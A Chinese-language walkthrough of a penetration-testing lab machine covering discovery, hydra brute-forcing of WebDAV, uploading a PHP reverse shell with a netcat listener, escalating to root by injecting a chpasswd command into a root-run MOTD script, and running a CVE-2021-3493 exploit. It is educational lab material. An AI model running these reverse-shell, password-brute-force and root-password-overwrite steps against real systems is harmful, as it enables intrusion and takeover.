写点什么

网络安全之渗透靶场实战详解

  • 2022 年 4 月 23 日
  • 本文字数:2473 字

    阅读完需:约 8 分钟

0x00 环境配置

虚拟网络编辑器:



Kali:



靶机:


0x01 主机发现/端口扫描

首先使用下面这条命令来发现靶机的 ip 地址为 192.168.26.131


arp-scan -l
复制代码



然后开始使用 nmap 进行端口和服务的发现


nmap  -sV -sC -p-   192.168.26.131
复制代码



经过对开放端口和服务的扫描,发现只开放了 22 端口和 80 端口,访问 80 端口也没发现什么可以测试的点,于是开始使用 dirsearch 进行目录的扫描。


【一>所有资源获取<一】1、很多已经买不到的绝版电子书 2、安全大厂内部的培训资料 3、全套工具包 4、100 份 src 源码技术文档 5、网络安全基础入门、Linux、web 安全、攻防方面的视频 6、应急响应笔记 7、 网络安全学习路线 8、ctf 夺旗赛解析 9、WEB 安全入门笔记

0x02 信息收集

dirsearch --url http://192.168.26.131
复制代码



经过目录扫描,发现了 webdav 的路径,访问了一波,发现需要登录,这里简单讲一下什么是 webdav:



0x03 密码字典定制

在我进行了多次简单的弱口令尝试后发现不行,于是开始使用 kali 自带的字典进行暴力破解,但是跑了很久失败了,所以我打算使用 kali 自带的字典生成工具 cewl 生成一个针对这个网站专属的字典进行测试一波。


cewl http://192.168.26.131  -w 192.168.26.131dict.txt
复制代码


0x04 hydra 密码爆破

hydra -L 192.168.26.131dict.txt -P 192.168.26.131dict.txt 192.168.26.131 http-get /webdav -v
复制代码



成功的爆破出了账号和密码,果然还是生成的专属字典比较好用。由于我们获取了webdav服务的相关认证信息,所以接下来我直接开始使用kali自带的webdav测试工具davtest进行测试,看能否传文件上去,如果可以的话,我们可以直接将webshell传到服务器上,以便getshell突破边界。
复制代码

0x05 webdav 漏洞

davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg
复制代码



通过上图我们可以知道,我们可以通过获取到的信息凭证建立一个DAV连接,并且可以在靶机上创建目录和上传文件,而上传到上面的文件只有txt,php,html三种格式的文件可以被执行,那么到这里我们getshell的思路就有了, 直接传一个反弹shell的php文件,然后kali监听本地端口,然后访问这个文件,触发执行即可getshell。
复制代码


cp /usr/share/webshells/php/php-reverse-shell.php .         #将kali自带反弹shell文件拷贝到当前目录vim php-reverse-shell.php                                   #编辑这个文件,将ip改为kali的ip 端口改为kali的端口
复制代码


![image.png](https://img-blog.csdnimg.cn/img_convert/13267318df81d6bde1c4be3097d6c1e3.png


davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg -uploadfile php-reverse-shell.php  -uploadloc rev.php
复制代码



通过上图可以看到,我们已经成功将反弹shell的文件上传到了靶机上,接下来kali监听本地端口,然后访问这个文件,触发执行即可getshell。
复制代码


nc -lnvp 4444         #kali监听4444端口
复制代码


http://192.168.26.131/webdav/rev.php         #访问该链接触发执行反弹shell的代码
复制代码



python3 -c "import pty;pty.spawn('/bin/bash')"           #升级优化一下shell
复制代码

0x06 MOTD 注入提权

接下来我们通过下面这条命令找一些属主是 root 普通用户或组可执行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。


find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null#命令解释:从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写  如果发现了符合条件的用 ls -l命令显示  错误信息从定向到null
复制代码



先 cat 了一下搜索到的第一个文件,发现里面有 brainfuck 加密的内容,所以尝试解密下。



在线解密网站:http://bf.doleczek.pl/



chitragupt
复制代码


解密得到的这个可能是某个用户的密码,所以根据查看/etc/passwd 文件发现的用户,挨个尝试下。



当我尝试切换到 interno 用户的时候,使用揭秘得到的这个字符串成功的 su 到了 inferno 用户上。到这里算是完成了从 www-data 权限到普通用户权限的权限提升。



然后我们在 inferno 用户的家目录下发现了第一个 flag。



既然已经获取到了 inferno 用户的密码,我接下来尝试使用 ssh 登录到 inferno 用户上。


ssh inferno@192.168.26.131
复制代码


成功登录到 inferno 用户后再次执行下面这条命令:


find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
复制代码



我观察到除了我们刚刚发现密码的那个文件,其他文件都在/etc/update-motd.d/这个目录下,motd 是 message of the day 这句话的缩写,我们通过 ssh 登录成功后看到的那些欢迎和提示的信息都是 motd 目录下存放的这些 sh 脚本所提供的。



那么现在我们知道了,当我们通过 ssh 登录成功的时候,这些 sh 脚本会以 root 权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些 sh 脚本中写入一个修改 root 用户密码的命令,这样当我们通过 ssh 用户登录到 inferno 这个账号上的时候,我们这些 motd 的 sh 脚本就会被以 root 用户的权限执行,这时候我们写入的修改 root 用户密码的命令也会被执行,之后我们只需要切换到 root 用户即可完成提权,思路有了下面开始操作。


vi /etc/update-motd.d/00-header      #编辑这个文件echo 'root:123' | chpasswd        #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123
复制代码



然后保存修改后,退出 ssh 的连接,然后重新使用 ssh 登录,触发执行我们修改 root 用户的命令。



当我们看到登录成功后的欢迎语的时候,root 用户的密码已经成功的被我们修改成了 123。接着只需要 su 到 root 用户即可提权成功。


0x07 CVE-2021-3493 提权:


在 ssh 成功登录后的欢迎语中,知道了靶机的版本是 Ubuntu18.04,对于该版本我比较熟悉,之前用过该版本的提权漏洞,所以这里不过多赘述。先将 exp 下载到 kali 本地。



scp exploit.c  inferno@192.168.26.131:/home/inferno       #将exp上传到靶机
复制代码



gcc exploit.c  -o exploit            #尝试编译exploit.c 并将编译好的文件命名为exploit
复制代码



发现靶机上无法运行 gcc,那么我们就在 kali 上先编译好,然后再传到靶机上即可。



chmod +x exploit      #给exploit赋予执行权限./exploit             #执行exp
复制代码



可以看到通过 CVE-2021-3493 同样获取到了 root 权限



用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
网络安全之渗透靶场实战详解_网络安全_网络安全学海_InfoQ写作社区